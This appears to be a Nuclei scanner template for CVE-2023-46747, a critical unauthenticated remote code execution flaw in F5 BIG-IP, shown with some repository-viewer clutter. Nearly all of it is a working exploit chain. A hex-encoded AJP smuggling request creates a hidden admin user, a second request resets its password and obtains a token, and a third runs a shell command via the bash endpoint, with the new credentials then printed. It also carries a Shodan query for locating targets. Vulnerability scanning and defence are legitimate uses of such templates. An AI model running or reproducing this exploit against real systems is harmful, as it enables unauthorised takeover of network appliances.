94 lines
3.6 KiB
YAML
94 lines
3.6 KiB
YAML
|
id: CVE-2023-46747
|
||
|
|
|
||
|
|
info:
|
||
|
|
name: F5 BIG-IP - Unauthenticated RCE via AJP Smuggling
|
||
|
|
author: iamnoooob,rootxharsh,pdresearch
|
||
|
|
severity: critical
|
||
|
|
description: |
|
||
|
|
CVE-2023-46747 is a critical severity authentication bypass vulnerability in F5 BIG-IP that could allow an unauthenticated attacker to achieve remote code execution (RCE). The vulnerability impacts the BIG-IP Configuration utility, also known as the TMUI, wherein arbitrary requests can bypass authentication. The vulnerability received a CVSSv3 score of 9.8.
|
||
|
|
reference:
|
||
|
|
- https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/
|
||
|
|
- https://my.f5.com/manage/s/article/K000137353
|
||
|
|
classification:
|
||
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||
|
|
cvss-score: 9.8
|
||
|
|
cve-id: CVE-2023-46747
|
||
|
|
cwe-id: CWE-288
|
||
|
|
epss-score: 0.00091
|
||
|
|
epss-percentile: 0.38535
|
||
|
|
metadata:
|
||
|
|
max-request: 4
|
||
|
|
verified: true
|
||
|
|
shodan-query: http.title:"BIG-IP®-+Redirect" +"Server"
|
||
|
|
tags: cve,cve2023,rce,f5,bigip,unauth,ajp,smuggling,intrusive
|
||
|
|
|
||
|
|
variables:
|
||
|
|
username: "{{hex_encode(rand_base(5))}}"
|
||
|
|
password: "{{hex_encode(rand_base(12))}}"
|
||
|
|
password2: "{{rand_base(14)}}"
|
||
|
|
|
||
|
|
http:
|
||
|
|
- raw:
|
||
|
|
- |+
|
||
|
|
POST /tmui/login.jsp HTTP/1.1
|
||
|
|
Host: {{Hostname}}
|
||
|
|
Transfer-Encoding: chunked, chunked
|
||
|
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
|
||
|
|
204
|
||
|
|
{{ hex_decode(concat("0008485454502f312e310000122f746d75692f436f6e74726f6c2f666f726d0000093132372e302e302e310000096c6f63616c686f73740000096c6f63616c686f7374000050000003000b546d75692d44756262756600000b424242424242424242424200000a52454d4f5445524f4c450000013000a00b00096c6f63616c686f73740003000561646d696e000501715f74696d656e6f773d61265f74696d656e6f775f6265666f72653d2668616e646c65723d253266746d756925326673797374656d25326675736572253266637265617465262626666f726d5f706167653d253266746d756925326673797374656d253266757365722532666372656174652e6a737025336626666f726d5f706167655f6265666f72653d26686964654f626a4c6973743d265f62756676616c75653d65494c3452556e537758596f5055494f47634f4678326f30305863253364265f62756676616c75655f6265666f72653d2673797374656d757365722d68696464656e3d5b5b2241646d696e6973747261746f72222c225b416c6c5d225d5d2673797374656d757365722d68696464656e5f6265666f72653d266e616d653d",username,"266e616d655f6265666f72653d267061737377643d",password,"267061737377645f6265666f72653d2666696e69736865643d782666696e69736865645f6265666f72653d00ff00")) }}
|
||
|
|
0
|
||
|
|
|
||
|
|
unsafe: true
|
||
|
|
|
||
|
|
- raw:
|
||
|
|
- |+
|
||
|
|
PATCH /mgmt/tm/auth/user/{{hex_decode(username)}} HTTP/1.1
|
||
|
|
Host: {{Hostname}}
|
||
|
|
Authorization: Basic {{base64(hex_decode(username)+":"+hex_decode(password))}}
|
||
|
|
Content-Type: application/json
|
||
|
|
|
||
|
|
{"password": "{{password2}}"}
|
||
|
|
|
||
|
|
- |+
|
||
|
|
POST /mgmt/shared/authn/login HTTP/1.1
|
||
|
|
Host: {{Hostname}}
|
||
|
|
Content-Type: application/json
|
||
|
|
|
||
|
|
{"username":"{{hex_decode(username)}}", "password":"{{password2}}"}
|
||
|
|
|
||
|
|
- |+
|
||
|
|
POST /mgmt/tm/util/bash HTTP/1.1
|
||
|
|
Host: {{Hostname}}
|
||
|
|
X-F5-Auth-Token: {{token}}
|
||
|
|
Content-Type: application/json
|
||
|
|
|
||
|
|
{"command":"run","utilCmdArgs":"-c id"}
|
||
|
|
|
||
|
|
extractors:
|
||
|
|
- type: regex
|
||
|
|
part: body_2
|
||
|
|
name: token
|
||
|
|
group: 1
|
||
|
|
regex:
|
||
|
|
- "([A-Z0-9]{26})"
|
||
|
|
internal: true
|
||
|
|
|
||
|
|
- type: regex
|
||
|
|
part: body_3
|
||
|
|
group: 1
|
||
|
|
regex:
|
||
|
|
- "\"commandResult\":\"(.*)\""
|
||
|
|
|
||
|
|
- type: dsl
|
||
|
|
dsl:
|
||
|
|
- '"Username:" + hex_decode(username)'
|
||
|
|
- '"Password:" + password2'
|
||
|
|
- '"Token:" + token'
|
||
|
|
|
||
|
|
matchers:
|
||
|
|
- type: word
|
||
|
|
words:
|
||
|
|
- "commandResult"
|
||
|
|
- "uid="
|
||
|
|
condition: and
|